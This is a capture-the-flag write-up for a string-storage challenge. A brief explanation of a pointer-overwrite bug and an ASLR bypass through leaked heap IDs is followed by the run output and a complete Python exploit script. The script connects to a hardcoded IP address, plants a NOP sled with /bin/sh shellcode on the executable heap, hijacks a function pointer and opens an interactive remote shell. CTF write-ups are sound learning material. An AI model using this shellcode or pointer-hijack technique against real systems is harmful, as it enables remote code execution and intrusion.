The program lets you store strings. There are two types; one is null terminated and the other is supposed not to be. There is a programming bug such that updating a type 1 string (not null terminated) will let you overwrite a pointer to a function pointer in the entry that holds the string.

Because the entries were all given a unique number based on the result of the C++ new[] operator, we could use this to beat ASLR. The heap was executable, so we just indirectly made the program call shellcode on the heap with the function pointer overwrite.

$ (echo ""; echo "cat /home/amazon/flag"; cat) | python exploit-s3.py
Payload id: 0xd58030
Assumed shellcode addr: 0xd58230
Ptr id: 0xd588c0
Assumed ptr addr: 0xd588e0

trigger?
flag{SimplyStupidStorage}

*** Connection closed by remote host ***

Exploit is attached below.

– immerse

import socket, struct, time, telnetlib
from binascii import hexlify

def recvall(s):
    s.setblocking(False)
    time.sleep(0.3)
    resp = ""
    while True:
        try:
            recvd = s.recv(1024)
            if len(recvd) == 0:
                break
            resp += recvd
        except:
            break
    s.setblocking(True)
    return resp

def uid(string):
    look_for = "unique identifier is: "
    index = string.find(look_for)
    if index == -1:
        print "INDEX == -1 (l22):",
        print string
        exit()
    begin = index + len(look_for)
    end = string.find(chr(0xa), begin+1)
    assert end != -1
    res = int(string[begin:end])
    return res

#s = socket.create_connection(("localhost", 2323))
s = socket.create_connection(("54.165.225.121", 5333))
s.recv(1024)

def create(string, type=1):
    s.send("c " + str(type) + " " + string + chr(0xa))
    resp = recvall(s)
    id = uid(resp)
    return id

def retr(id):
    s.send("r " + str(id) + chr(0xa))
    return recvall(s)

SC_OFFSET = 0x200
PTR_OFFSET = 0x20
# /bin/sh shellcode
SHELLCODE = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05\x90\x90\x90\x90"

payload  = ""
payload += chr(0x90) * (2000 - len(SHELLCODE))
payload += SHELLCODE
payload_id = create(payload)

print "Payload id:", hex(payload_id)

shellcode_addr = payload_id + SC_OFFSET

print "Assumed shellcode addr:", hex(shellcode_addr)

ptr = struct.pack("<Q", shellcode_addr)
ptr_id = create(ptr)

print "Ptr id:", hex(ptr_id)

ptr_addr = ptr_id + PTR_OFFSET

print "Assumed ptr addr:", hex(ptr_addr)

trigger = "A"*8
trigger_id = create(trigger)

s.send("u " + str(trigger_id) + " " +
       struct.pack("<Q", ptr_addr - 0x10) + chr(0xa))
trigger_id = uid(recvall(s))

raw_input("trigger?")

s.send("r " + str(trigger_id) + chr(0xa))

t = telnetlib.Telnet()
t.sock = s
t.interact()